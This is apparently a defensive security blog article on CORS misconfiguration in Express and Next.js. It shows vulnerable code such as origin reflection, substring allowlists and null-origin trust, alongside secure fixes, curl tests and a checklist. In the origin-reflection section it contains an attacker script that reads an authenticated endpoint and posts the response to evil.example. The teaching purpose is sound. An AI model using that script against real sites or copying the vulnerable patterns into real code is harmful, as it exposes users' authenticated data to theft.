API Security
CORS
CORS Misconfiguration
API Security
Security Headers
+3 more

CORS Misconfiguration: Exploitation, Examples, and Prevention Guide

SCRs Team
May 3, 2026
12 min read
Share

CORS Bugs Usually Start as Convenience Fixes

CORS rarely gets weakened during a formal architecture review. It usually gets weakened on a rushed afternoon when someone needs the SPA to talk to the API, a staging domain is not on the allowlist, or a partner integration needs "temporary" access.

That is why so many real-world CORS issues look almost innocent in code review. The change is small. The header looks familiar. The app still works. Then somebody notices an authenticated endpoint can be read from a domain the business never meant to trust.

CORS MistakeWhat Happens
Wildcard origin with sensitive dataAny site can read public API responses
Origin reflectionAttacker-controlled sites become trusted
Credentials enabled for broad originsSession-backed endpoints are exposed cross-site
Trusting .example.com with weak matchingSubdomain takeover can become account compromise
Allowing null originSandboxed iframes and local files can access data

Important: CORS does not protect your API from direct server-to-server requests. It only tells browsers which origins can read responses.


How CORS Actually Works

When a browser makes a cross-origin request, it includes an Origin header. The server decides whether that origin may read the response by returning headers such as:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Credentials
  • Access-Control-Allow-Methods
  • Access-Control-Allow-Headers

For non-simple requests, the browser first sends a preflight OPTIONS request to ask which methods and headers are allowed.

If the server gets this wrong, an attacker can host a malicious page that silently makes authenticated requests from the victim's browser.


Vulnerability 1: Origin Reflection

This is the most common production issue. The backend copies whatever the browser sends in Origin and returns it as trusted.

Vulnerable Express Example

app.use((req, res, next) => {
  const origin = req.headers.origin;
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

An attacker hosts:

<script>
fetch('https://api.target.com/account', {
  credentials: 'include'
})
  .then((response) => response.text())
  .then((body) => fetch('https://evil.example/collect', {
    method: 'POST',
    body
  }));
</script>

If the victim is logged in and the API reflects the malicious origin, the browser will allow the attacker page to read the sensitive response.

Secure Pattern

const allowedOrigins = new Set([
  'https://app.securecodereviews.com',
  'https://dashboard.securecodereviews.com'
]);

app.use((req, res, next) => {
  const origin = req.headers.origin;

  if (origin && allowedOrigins.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }

  next();
});

Vulnerability 2: Wildcard with Credentials

Browsers block Access-Control-Allow-Origin: * when credentials are enabled, but teams still create equivalent insecure behavior through dynamic reflection or proxy logic.

Common Anti-Pattern

app.use(cors({
  origin: true,
  credentials: true,
}));

With many middleware stacks, origin: true means "reflect any requesting origin." That is effectively a wildcard for credentialed traffic.

Safer Configuration

import cors from 'cors';

app.use(cors({
  origin: ['https://app.securecodereviews.com'],
  credentials: true,
  methods: ['GET', 'POST', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
}));

Vulnerability 3: Broken Allowlist Matching

Many CORS filters use substring or suffix checks that attackers can bypass.

Vulnerable Validation

function isTrusted(origin) {
  return origin.includes('securecodereviews.com');
}

This trusts all of these attacker-controlled origins:

  • https://securecodereviews.com.evil.example
  • https://evil-securecodereviews.com
  • https://securecodereviews.com@evil.example

Safer Validation

function isTrusted(origin) {
  try {
    const url = new URL(origin);
    return url.origin === 'https://app.securecodereviews.com';
  } catch {
    return false;
  }
}

If you need multiple origins, compare exact normalized origins. Do not rely on regexes unless they are extremely tight and well tested.


Vulnerability 4: Trusting the null Origin

Some browsers send Origin: null for sandboxed iframes, locally opened files, and certain privacy contexts.

Vulnerable Logic

if (!origin || origin === 'null') {
  res.setHeader('Access-Control-Allow-Origin', origin || '*');
}

If sensitive endpoints trust null, an attacker can load a malicious payload from a local file or sandboxed frame and read authenticated responses.

Recommendation

  • Reject null for authenticated APIs.
  • Only allow it if you have a very specific non-sensitive use case and have validated the business requirement.

Vulnerability 5: Overly Broad Preflight Rules

Preflight responses often expose more than intended:

Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Headers: *

This increases blast radius if an origin is mistakenly trusted. A read-only frontend probably does not need DELETE, PATCH, or custom admin headers.

Better Approach

  • Return only methods the frontend really needs.
  • Return only specific headers.
  • Separate public and sensitive APIs so they do not share one loose CORS policy.

How to Test for CORS Vulnerabilities

1. Basic Reflection Check

curl -i https://api.target.com/profile   -H 'Origin: https://evil.example'

Look for:

  • Access-Control-Allow-Origin: https://evil.example
  • Access-Control-Allow-Credentials: true

That combination is a serious finding on any authenticated endpoint.

2. Null Origin Check

curl -i https://api.target.com/profile   -H 'Origin: null'

3. Preflight Inspection

curl -i -X OPTIONS https://api.target.com/admin/users   -H 'Origin: https://app.example.com'   -H 'Access-Control-Request-Method: DELETE'   -H 'Access-Control-Request-Headers: authorization,x-admin-token'

Secure CORS Configuration for Next.js Route Handlers

import { NextRequest, NextResponse } from 'next/server';

const allowedOrigins = new Set([
  'https://app.securecodereviews.com',
]);

function applyCors(request: NextRequest, response: NextResponse) {
  const origin = request.headers.get('origin');

  if (origin && allowedOrigins.has(origin)) {
    response.headers.set('Access-Control-Allow-Origin', origin);
    response.headers.set('Access-Control-Allow-Credentials', 'true');
    response.headers.set('Access-Control-Allow-Methods', 'GET,POST');
    response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    response.headers.set('Vary', 'Origin');
  }

  return response;
}

export async function GET(request: NextRequest) {
  const response = NextResponse.json({ ok: true });
  return applyCors(request, response);
}

CORS Hardening Checklist

  • Use exact origin allowlists, not reflection
  • Never combine broad origin matching with credentials
  • Reject null origin on sensitive endpoints
  • Scope methods and headers tightly
  • Add Vary: Origin when responses differ by origin
  • Separate public APIs from authenticated APIs
  • Review subdomain takeover risk before trusting wildcard subdomains
  • Test preflight behavior during security reviews

Final Takeaway

CORS misconfiguration is one of those bugs that feels "frontend-ish" right up until it exposes billing data, session-backed APIs, or admin responses. The practical fix is not complicated: be explicit about which origins you trust, be skeptical of any dynamic reflection logic, and review CORS the same way you would review an access-control rule.

Advertisement